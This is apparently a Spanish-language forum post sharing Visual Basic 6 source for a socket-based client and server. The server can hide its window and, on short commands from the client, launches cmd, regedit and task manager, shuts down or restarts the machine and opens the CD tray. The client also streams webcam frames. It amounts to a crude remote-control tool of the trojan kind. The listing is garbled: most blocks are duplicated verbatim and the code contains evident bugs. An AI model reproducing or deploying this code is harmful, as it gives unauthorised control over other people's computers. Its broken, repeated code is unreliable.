hay va el code, espero que me traten con educación, gracias señores, a la orden para lo que sea.
SERVER:
Código:
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim send As String
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
lParam As Any) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
Winsock1.Close
End Sub
Private Sub Command2_Click()
'cerramos cualquier conexion previa
Winsock1.Close
'asignamos el puerto local que abriremos
Winsock1.LocalPort = Text3.Text
'deja el socket esuchando conexiones
Winsock1.Listen
MsgBox "escuchando en espera de conexión con el cliente"
End Sub
Private Sub Command3_Click()
Winsock1.Close
Unload Me
End Sub
Private Sub Command4_Click()
Me.Hide
End Sub
Dim ruta As String
Private Sub Form_Load()
Text1.Enabled = False
ruta = "c:\temporal2.bmp"
Open ruta For Binary As #1
On Error Resume Next
Kill (ruta)
Open "ruta" For Binary As #1
Winsock2.LocalPort = P.Text
Winsock22.Listen
End Sub
Private Sub Winsock1_Close()
'cierra la conexion
Winsock1.Close
'desplegamos un mensaje en la ventana
If Winsock1.State = 0 Then
MsgBox "conexión fallida", vbInformation, "conexión"
Else
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'cerramos previamente el socket
Winsock1.Close
'aceptamos la conexion
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data0 As String
'Dim apagon As String
Winsock1.GetData data0
Text1.Text = data0
If data0 = "a" Then
Shell ("cmd")
Else
If data0 = "b" Then
Shell ("mspaint")
Else
If data0 = "d" Then
Shell ("explorer")
Else
If data0 = "c" Then
Shell ("regedit")
Else
If data0 = "f" Then
Shell ("notepad")
Else
Dim i As String
If data0 = "daun" Then
i = Shell("shutdown -s")
Else
If data0 = "ribuk" Then
i = Shell("shutdown -r")
Else
If data0 = "TS" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
Else
If data0 = "e" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
Else
If data0 = "abrete" Then
res = mciSendString("set cdaudio door open", returnstring, 127, 0)
Else
If data0 = "cierrate" Then
res = mciSendString("set cdaudio door closed", returnstring, 127, 0)
Else
If data0 = "imprime" Then
imprimeLineas = Text2.Text
Else
If data0 = "aparecio" Then
Form1.Show
Else
If data0 = "escondido" Then
Form1.Hide
Else
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'cerramos la conexion
Winsock1.Close
'mostramos informacion sobre el error
MsgBox "Error", vbCritical, "Fallo en la conexión"
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock2.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(ruta)
Open ruta For Binary As #1
End If
End Sub
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim send As String
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
lParam As Any) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
Winsock1.Close
End Sub
Private Sub Command2_Click()
'cerramos cualquier conexion previa
Winsock1.Close
'asignamos el puerto local que abriremos
Winsock1.LocalPort = Text3.Text
'deja el socket esuchando conexiones
Winsock1.Listen
MsgBox "escuchando en espera de conexión con el cliente"
End Sub
Private Sub Command3_Click()
Winsock1.Close
Unload Me
End Sub
Private Sub Command4_Click()
Me.Hide
End Sub
Dim ruta As String
Private Sub Form_Load()
Text1.Enabled = False
ruta = "c:\temporal2.bmp"
Open ruta For Binary As #1
On Error Resume Next
Kill (ruta)
Open "ruta" For Binary As #1
Winsock2.LocalPort = P.Text
Winsock22.Listen
End Sub
Private Sub Winsock1_Close()
'cierra la conexion
Winsock1.Close
'desplegamos un mensaje en la ventana
If Winsock1.State = 0 Then
MsgBox "conexión fallida", vbInformation, "conexión"
Else
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'cerramos previamente el socket
Winsock1.Close
'aceptamos la conexion
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data0 As String
'Dim apagon As String
Winsock1.GetData data0
Text1.Text = data0
If data0 = "a" Then
Shell ("cmd")
Else
If data0 = "b" Then
Shell ("mspaint")
Else
If data0 = "d" Then
Shell ("explorer")
Else
If data0 = "c" Then
Shell ("regedit")
Else
If data0 = "f" Then
Shell ("notepad")
Else
Dim i As String
If data0 = "daun" Then
i = Shell("shutdown -s")
Else
If data0 = "ribuk" Then
i = Shell("shutdown -r")
Else
If data0 = "TS" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\WINDOWS\system32\taskmgr.exe", vbNullString, vbNullString, 1)
Else
If data0 = "e" Then
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "C:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
pufo = ShellExecute(Screen.ActiveForm.hwnd, "open", "E:\Archivos de programa\Internet Explorer\iexplore.exe", vbNullString, vbNullString, 1)
Else
If data0 = "abrete" Then
res = mciSendString("set cdaudio door open", returnstring, 127, 0)
Else
If data0 = "cierrate" Then
res = mciSendString("set cdaudio door closed", returnstring, 127, 0)
Else
If data0 = "imprime" Then
imprimeLineas = Text2.Text
Else
If data0 = "aparecio" Then
Form1.Show
Else
If data0 = "escondido" Then
Form1.Hide
Else
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'cerramos la conexion
Winsock1.Close
'mostramos informacion sobre el error
MsgBox "Error", vbCritical, "Fallo en la conexión"
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock2.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(ruta)
Open ruta For Binary As #1
End If
End Sub
CLIENTE:
Código:
Private Declare Function capCreateCaptureWindow Lib "avicap32" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim Imagen() As Byte
Dim a As String, b As String, c As String, d As String, e As String, f As String, g As String
Private Sub Command10_Click()
End Sub
Private Sub Command1_Click()
imprimeLineas Text1, 240
Winsock1.SendData "imprime" & "|" & "imprimeLineas"
End Sub
Private Sub Cc_Click()
Winsock1.SendData "TS"
End Sub
Private Sub Command11_Click()
Winsock1.SendData "abrete"
End Sub
Private Sub Command12_Click()
Winsock1.SendData "cierrate"
End Sub
Private Sub Command13_Click()
Winsock1.SendData "daun"
End Sub
Private Sub Command14_Click()
Winsock1.SendData "ribuk"
End Sub
Private Sub Command15_Click()
Winsock1.Close
Unload Me
End Sub
Private Sub Command16_Click()
Winsock1.SendData "escondido"
End Sub
Private Sub Command17_Click()
End Sub
Private Sub Command18_Click()
If Command18.Caption = "Conectar" Then
Winsock2.RemoteHost = Text2.Text
Winsock2.RemotePort = Text5.Text
Winsock2.Close
Winsock2.CONNECT Text2, CInt(Text5)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer4.Enabled = True
Command18.Caption = "Desconectar"
Else
Timer4.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
Me.Caption = "Desconectado"
Command18.Caption = "Conectar"
End If
End Sub
Private Sub Command19_Click()
Winsock1.SendData "aparecio"
End Sub
Private Sub Command2_Click()
'asignamos los datos de conexion
Winsock1.RemoteHost = Text3.Text
Winsock1.RemotePort = Text4.Text
'conectamos el socket
Winsock1.Close
Winsock1.CONNECT
End Sub
Private Sub Command3_Click()
'cierra la conexion
Winsock1.Close
'desplegamos una ventana de mensaje
MsgBox "la conexión ha sido cerrada por el usuario", vbCritical, "estado de conexión"
End Sub
Private Sub Command4_Click()
Winsock1.SendData "a"
End Sub
Private Sub Command5_Click()
Winsock1.SendData "b"
End Sub
Private Sub Command6_Click()
Winsock1.SendData "c"
End Sub
Private Sub Command7_Click()
Winsock1.SendData "d"
End Sub
Private Sub Command8_Click()
Winsock1.SendData "e"
End Sub
Private Sub Command9_Click()
Winsock1.SendData "f"
End Sub
Private Sub Form_Load()
Text2.Text = Winsock2.RemoteHost
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
End Sub
Private Sub Timer1_Timer()
If Winsock1.State = "7" Then Label1.Caption = "Conectado"
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = "0" Then Label1.Caption = "Desconectado"
End Sub
Private Sub Timer3_Timer()
If Winsock1.State = 0 Then
Shape1.FillColor = &HFF&
Else
If Winsock1.State = 7 Then
Shape1.FillColor = &HFF00&
Else
End If
End If
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock2.SendData Imagen
Winsock2.SendData "Fin"
End Sub
Private Sub Winsock1_Close()
'cierra la conexion
Winsock1.Close
'desplegamos un mensaje en la ventana
MsgBox "la conexión se ha perdido, usted se encuentra desconectado", vbInformation, "estado de la conexión"
End Sub
Private Sub Winsock1_Connect()
'desplegamos un mensaje en la ventana
If Winsock1.State = 7 Then
MsgBox "CONECTADO", vbInformation, "conexión"
Shape1.FillColor = &HFF00&
MsgBox "la conexión ha sido exitosa", vbOKOnly, "información"
Else
MsgBox "la conexión ha sido fallida", vbCritical, "ERROR"
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datoszero As String, envio As Boolean 'variable para guardar los datos
'obtenemos los datos y los guardamos en una variable
Winsock1.GetData datoszero
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'cerramos la conexion
Winsock1.Close
'mostramos informacion sobre el error
MsgBox "Error", vbCritical, "Fallo de conexión"
End Sub
Public Sub imprimeLineas(Texto As Object, Linea As Integer)
Dim Bloque As String
'Numero de caracteres = NumC
'Numero de Bloques = NumB
Dim NumC, NumB As Integer
NumC = Len(Text1.Text)
If NumC > Linea Then
NumB = NumC \ Linea
For I = 0 To NumB
Texto.SelStart = (Linea * I)
Texto.SelLength = Linea
Bloque = Texto.SelText
Printer.Print Bloque
Next I
Else
Printer.Print Texto.Text
Printer.FontSize = 15
End If
Printer.EndDoc
End Sub
Private Sub Winsock2_Close()
Frame1.Caption = "webcam-desconectada"
End Sub
Private Sub Winsock2_Connect()
Frame1.Caption = "webcam-conectada"
End Sub
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Dim Imagen() As Byte
Dim a As String, b As String, c As String, d As String, e As String, f As String, g As String
Private Sub Command10_Click()
End Sub
Private Sub Command1_Click()
imprimeLineas Text1, 240
Winsock1.SendData "imprime" & "|" & "imprimeLineas"
End Sub
Private Sub Cc_Click()
Winsock1.SendData "TS"
End Sub
Private Sub Command11_Click()
Winsock1.SendData "abrete"
End Sub
Private Sub Command12_Click()
Winsock1.SendData "cierrate"
End Sub
Private Sub Command13_Click()
Winsock1.SendData "daun"
End Sub
Private Sub Command14_Click()
Winsock1.SendData "ribuk"
End Sub
Private Sub Command15_Click()
Winsock1.Close
Unload Me
End Sub
Private Sub Command16_Click()
Winsock1.SendData "escondido"
End Sub
Private Sub Command17_Click()
End Sub
Private Sub Command18_Click()
If Command18.Caption = "Conectar" Then
Winsock2.RemoteHost = Text2.Text
Winsock2.RemotePort = Text5.Text
Winsock2.Close
Winsock2.CONNECT Text2, CInt(Text5)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer4.Enabled = True
Command18.Caption = "Desconectar"
Else
Timer4.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
Me.Caption = "Desconectado"
Command18.Caption = "Conectar"
End If
End Sub
Private Sub Command19_Click()
Winsock1.SendData "aparecio"
End Sub
Private Sub Command2_Click()
'asignamos los datos de conexion
Winsock1.RemoteHost = Text3.Text
Winsock1.RemotePort = Text4.Text
'conectamos el socket
Winsock1.Close
Winsock1.CONNECT
End Sub
Private Sub Command3_Click()
'cierra la conexion
Winsock1.Close
'desplegamos una ventana de mensaje
MsgBox "la conexión ha sido cerrada por el usuario", vbCritical, "estado de conexión"
End Sub
Private Sub Command4_Click()
Winsock1.SendData "a"
End Sub
Private Sub Command5_Click()
Winsock1.SendData "b"
End Sub
Private Sub Command6_Click()
Winsock1.SendData "c"
End Sub
Private Sub Command7_Click()
Winsock1.SendData "d"
End Sub
Private Sub Command8_Click()
Winsock1.SendData "e"
End Sub
Private Sub Command9_Click()
Winsock1.SendData "f"
End Sub
Private Sub Form_Load()
Text2.Text = Winsock2.RemoteHost
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock2.Close
End Sub
Private Sub Timer1_Timer()
If Winsock1.State = "7" Then Label1.Caption = "Conectado"
End Sub
Private Sub Timer2_Timer()
If Winsock1.State = "0" Then Label1.Caption = "Desconectado"
End Sub
Private Sub Timer3_Timer()
If Winsock1.State = 0 Then
Shape1.FillColor = &HFF&
Else
If Winsock1.State = 7 Then
Shape1.FillColor = &HFF00&
Else
End If
End If
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock2.SendData Imagen
Winsock2.SendData "Fin"
End Sub
Private Sub Winsock1_Close()
'cierra la conexion
Winsock1.Close
'desplegamos un mensaje en la ventana
MsgBox "la conexión se ha perdido, usted se encuentra desconectado", vbInformation, "estado de la conexión"
End Sub
Private Sub Winsock1_Connect()
'desplegamos un mensaje en la ventana
If Winsock1.State = 7 Then
MsgBox "CONECTADO", vbInformation, "conexión"
Shape1.FillColor = &HFF00&
MsgBox "la conexión ha sido exitosa", vbOKOnly, "información"
Else
MsgBox "la conexión ha sido fallida", vbCritical, "ERROR"
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datoszero As String, envio As Boolean 'variable para guardar los datos
'obtenemos los datos y los guardamos en una variable
Winsock1.GetData datoszero
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'cerramos la conexion
Winsock1.Close
'mostramos informacion sobre el error
MsgBox "Error", vbCritical, "Fallo de conexión"
End Sub
Public Sub imprimeLineas(Texto As Object, Linea As Integer)
Dim Bloque As String
'Numero de caracteres = NumC
'Numero de Bloques = NumB
Dim NumC, NumB As Integer
NumC = Len(Text1.Text)
If NumC > Linea Then
NumB = NumC \ Linea
For I = 0 To NumB
Texto.SelStart = (Linea * I)
Texto.SelLength = Linea
Bloque = Texto.SelText
Printer.Print Bloque
Next I
Else
Printer.Print Texto.Text
Printer.FontSize = 15
End If
Printer.EndDoc
End Sub
Private Sub Winsock2_Close()
Frame1.Caption = "webcam-desconectada"
End Sub
Private Sub Winsock2_Connect()
Frame1.Caption = "webcam-conectada"
End Sub
MODULO1 EN EL CLIENTE:
Código:
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private mCapHwnd As Long
Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054